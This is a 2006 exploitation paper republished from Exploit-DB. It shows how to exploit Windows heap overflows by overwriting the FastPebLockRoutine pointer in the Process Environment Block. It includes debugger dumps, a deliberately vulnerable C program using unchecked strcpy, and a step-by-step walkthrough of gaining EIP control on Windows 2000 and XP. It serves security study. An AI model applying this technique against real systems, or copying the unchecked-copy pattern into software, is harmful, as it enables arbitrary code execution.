- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 13178
- Проверка EDB
-
- Пройдено
- Автор
- C0NTEX
- Тип уязвимости
- PAPERS
- Платформа
- MULTIPLE
- CVE
- N/A
- Дата публикации
- 2006-05-31
Код:
Windows Heap Overflows using the Process Environment Block (PEB)
by c0ntex | c0ntexb[at]gmail.com
www.open-security.org
----------------------------------------------------------------
The PEB (Process Environment Block) is a process specific area of userland memory that contains details about
each running process. Since PEB information is user modifyable, it runs in the context of the process address
space. Information contained in the PEB includes the image base address, heap information, loaded modules and
defined environment variables amongst other things. A quick look at the PEB of a vulnerable application shows
us this information:
0:000> !peb
PEB at 7ffdf000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: Yes
ImageBaseAddress: 00400000
Ldr 00241ea0
Ldr.Initialized: Yes
Ldr.InInitializationOrderModuleList: 00241f58 . 00242018
Ldr.InLoadOrderModuleList: 00241ee0 . 00242008
Ldr.InMemoryOrderModuleList: 00241ee8 . 00242010
Base TimeStamp Module
400000 447748b6 May 26 19:28:06 2006 C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe
77f50000 3eb1b41a May 02 00:56:10 2003 C:\WINXP\System32\ntdll.dll
77e60000 40d1dbcb Jun 17 18:58:35 2004 C:\WINXP\system32\kernel32.dll
SubSystemData: 00000000
ProcessHeap: 00140000
ProcessParameters: 00020000
WindowTitle: 'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'
ImageFile: 'C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe'
CommandLine: '"C:\Documents and Settings\c0ntex\Desktop\testing\PEB.exe"'
DllPath: 'C:\Documents and Settings\c0ntex\Desktop\testing;C:\WINXP\System32;C:\WINXP\system;
C:\WINXP;.;C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource
Kits\Tools\;C:\WINXP\system32;C:\WINXP;C:\WINXP\System32\Wbem;C:\WINXP\system32\nls;C:\WINXP\system32\nls
\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\
ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;'
Environment: 00010000
ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\c0ntex\Application Data
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=b0xen
ComSpec=C:\WINXP\system32\cmd.exe
HOMEDRIVE=C:
HOMEPATH=\
LOGONSERVER=\\secret
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Path=C:\Program Files\Debugging Tools for Windows\winext\arcade;C:\Program Files\Windows Resource
Kits\Tools\;C:\WINXP\system32;C:\WINXP;C:\WINXP\System32\Wbem;C:\WINXP\system32\nls;C:\WINXP\system32\nls
\ENGLISH;C:\Program Files\Informix\Client-SDK\bin;c:\oracle\ora90\bin;C:\Program Files\ATI Technologies\
ATI Control Panel;C:\PROGRA~1\ATT\Graphviz\bin;
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 9 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0905
ProgramFiles=C:\Program Files
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINXP
TEMP=c:\temp
TERMID=0645A
TMP=c:\temp
USERDOMAIN=secret
USERNAME=c0ntex
USERPROFILE=C:\Documents and Settings\c0ntex
WINDBG_DIR=C:\Program Files\Debugging Tools for Windows
windir=C:\WINXP
In general the PEB holds some pretty useful information for a user when analysing a process, looking at the
structure in ntdll.dll, we can see each of the sections:
0:000> dt ntdll!_PEB 7ffdf000
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 SpareBool : 0 ''
+0x004 Mutant : 0xffffffff
+0x008 ImageBaseAddress : 0x00400000
+0x00c Ldr : 0x00241ea0 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : (null)
+0x018 ProcessHeap : 0x00140000
+0x01c FastPebLock : 0x77fc49e0 _RTL_CRITICAL_SECTION
+0x020 FastPebLockRoutine : 0x77f5b2a0
+0x024 FastPebUnlockRoutine : 0x77f5b380
+0x028 EnvironmentUpdateCount : 1
+0x02c KernelCallbackTable : (null)
+0x030 SystemReserved : [1] 0
+0x034 ExecuteOptions : 0y00
+0x034 SpareBits : 0y000000000000000000000000000000 (0)
+0x038 FreeList : (null)
+0x03c TlsExpansionCounter : 0
+0x040 TlsBitmap : 0x77fc4680
+0x044 TlsBitmapBits : [2] 0
+0x04c ReadOnlySharedMemoryBase : 0x7f6f0000
+0x050 ReadOnlySharedMemoryHeap : 0x7f6f0000
+0x054 ReadOnlyStaticServerData : 0x7f6f0688 -> (null)
+0x058 AnsiCodePageData : 0x7ffb0000
+0x05c OemCodePageData : 0x7ffc1000
+0x060 UnicodeCaseTableData : 0x7ffd2000
+0x064 NumberOfProcessors : 1
+0x068 NtGlobalFlag : 0x70
+0x070 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000
+0x078 HeapSegmentReserve : 0x100000
+0x07c HeapSegmentCommit : 0x2000
+0x080 HeapDeCommitTotalFreeThreshold : 0x10000
+0x084 HeapDeCommitFreeBlockThreshold : 0x1000
+0x088 NumberOfHeaps : 3
+0x08c MaximumNumberOfHeaps : 0x10
+0x090 ProcessHeaps : 0x77fc5a80 -> 0x00140000
+0x094 GdiSharedHandleTable : (null)
+0x098 ProcessStarterHelper : (null)
+0x09c GdiDCAttributeList : 0
+0x0a0 LoaderLock : 0x77fc1774
+0x0a4 OSMajorVersion : 5
+0x0a8 OSMinorVersion : 1
+0x0ac OSBuildNumber : 0xa28
+0x0ae OSCSDVersion : 0x100
+0x0b0 OSPlatformId : 2
+0x0b4 ImageSubsystem : 3
+0x0b8 ImageSubsystemMajorVersion : 4
+0x0bc ImageSubsystemMinorVersion : 0
+0x0c0 ImageProcessAffinityMask : 0
+0x0c4 GdiHandleBuffer : [34] 0
+0x14c PostProcessInitRoutine : (null)
+0x150 TlsExpansionBitmap : 0x77fc4660
+0x154 TlsExpansionBitmapBits : [32] 0
+0x1d4 SessionId : 0
+0x1d8 AppCompatFlags : _ULARGE_INTEGER 0x0
+0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER 0x0
+0x1e8 pShimData : (null)
+0x1ec AppCompatInfo : (null)
+0x1f0 CSDVersion : _UNICODE_STRING "Service Pack 1"
+0x1f8 ActivationContextData : (null)
+0x1fc ProcessAssemblyStorageMap : (null)
+0x200 SystemDefaultActivationContextData : 0x00130000
+0x204 SystemAssemblyStorageMap : (null)
+0x208 MinimumStackCommit : 0
In exploitation, the PEB becomes a useful target due to the fact of it's stability, and the actual sections
that we utilise are the FastPebLockRoutine and FastPebUnlockRoutine pointers.
0:000> dt ntdll!_PEB 7ffdf000
... SNIP ...
+0x01c FastPebLock : 0x77fc49e0 _RTL_CRITICAL_SECTION
+0x020 FastPebLockRoutine : 0x77f5b2a0
+0x024 FastPebUnlockRoutine : 0x77f5b380
... SNIP ...
Overwriting FastPebLockRoutine is actually overwriting a pointer to RtlEnterCriticalSection:
FastPebLockRoutine
DS:[7FFDF020]=77F5B2A0 (ntdll.RtlEnterCriticalSection)
and overwriting FastPebUnlockRoutine is actually overwriting the RtlLeaveCriticalSection pointer:
FastPebUnlockRoutine
DS:[7FFDF024]=77F5B380 (ntdll.RtlLeaveCriticalSection)
Now we shall continue the example and work a vulnerable piece of code!
////
// Heap_Overflow.cpp
////
#include <stdio.h>
#include <windows.h>
int main(int argc, char *argv[])
{
HLOCAL peb_chunk1 = NULL;
HLOCAL peb_chunk2 = NULL;
HANDLE peb_heap = NULL;
printf("\nAn example heap overflow bug\n");
if(argc < 2) {
printf("Usage: ./peb.exe string1 string2\n");
exit(1);
}
peb_heap = HeapCreate(0x00, 0x00, 0x00);
peb_chunk1 = HeapAlloc(peb_heap, 0x00, 0x64);
strcpy((char *)peb_chunk1, argv[1]);
peb_chunk2 = HeapAlloc(peb_heap, 0x00, 0x64);
strcpy((char *)peb_chunk1, argv[2]);
HeapFree(peb_heap, 0x00, peb_chunk1);
HeapFree(peb_heap, 0x00, peb_chunk2);
HeapDestroy(peb_heap);
return 0;
}
On running the program in Windbg, we shall pass the application a large string to trigger the heap overflow
bug and eventually the program will crash at the following location:
77f8452d 8901 mov [ecx],eax ds:0023:61616161=????????
77f8452f 894804 mov [eax+0x4],ecx
the registers will look like so:
eax=61616161 ebx=00000024 ecx=61616161 edx=003407a0 esi=003407a0 edi=00340000
eip=77f8452d esp=0012f814 ebp=0012fa2c iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246
ntdll!RtlAllocateHeapSlowly+0x6bd:
77f8452d 8901 mov [ecx],eax ds:0023:61616161=????????
and as we see, we control EAX and ECX, giving us the chance to write-anything-anywhere. This is a standard
heap overflow utilising the above FLINK and BLINK pointers from the heap routines. Examining the Un/Locking
pointer location prior to exploitation, they look something like so:
0:000> dd 0c7ffdf020 L4
7ffdf020 77f5b2a0 77f5b380 00000001 00000000
Here, the PEB Lock pointer [7FFDF020] points to [77F5B2A0]
and the PEB Unlock pointer [7FFDF024] points to [77F5B380]
So we set ECX to the address of the PEB Lock pointer and EAX with an address that points to our shellcode.
In this example we are just jacking PEB with 61616161 to prove we can own EIP. After some preperation, the
registers will look similar to the following:
EAX 61616161 <---- Our malicious address to write
ECX 7FFDF020 <---- Our jacked pointer to write over
EDX 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."
EBX 00000024
ESP 0012F79C
EBP 0012F9B4
ESI 003507A0 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaa...."
EDI 00350000
EIP 77F8452D ntdll.77F8452D
and the MOV DWORD PTR DS:[ECX],EAX will overwrite 7FFDF020 with our malicious values (perhaps a call or jmp
to ECX). The second MOV will fail and access violate, but I don't care here. Next, we continue the process
in Olly with Shift +f7 and suddenly we see some magic. We have our pointer overwritten prefectly:
7FFDF020 61 61 61 61 80 B3 F5 77 aaaaÂ.³õ 7FFDF028 01 00 00 00 00 00 00 00 .......
PEB Lock pointer [7FFDF020] points to [61616161]
Continuing the process again with Shift +f9, we end up with our registers looking like:
EAX 7FFDF000
ECX 61616161
EDX 000001FF
EBX 00000000
ESP 0012FE24
EBP 0012FE60
ESI 77D4A608
EDI 77F59037 ntdll.77F59037
EIP 61616161 <---- YEY!!!!
Perfect, we managed to make the process jump to our user supplied location and execute our values. This means
that we have reliable code execution across multiple platforms, as the lock pointer is the same on Windows 2k
with any service pack and Windows XP SP0/1. On XP SP2 we run in to other heap exploit issues which are beyond
the scope of this document.
On Windows Server 2003 SP0, unfortunatly the pointers to RtlEnterCriticalSection and RtlLeaveCriticalSection
have been randomized which means we can not use this method as a stable location to write to.
0:000> dd 0x7ffdf020 L4
7ffdf020 00000000 00000000 00000001 00000000
Also we run in to other heap exploit issues which are beyond the scope of this document.
I hope this quick paper has been useful in helping understand what PEB overwrites are and how to perform the
technique, it really is a piece of cake!
cheers,
c0ntex
# milw0rm.com [2006-05-31]- Источник
- www.exploit-db.com
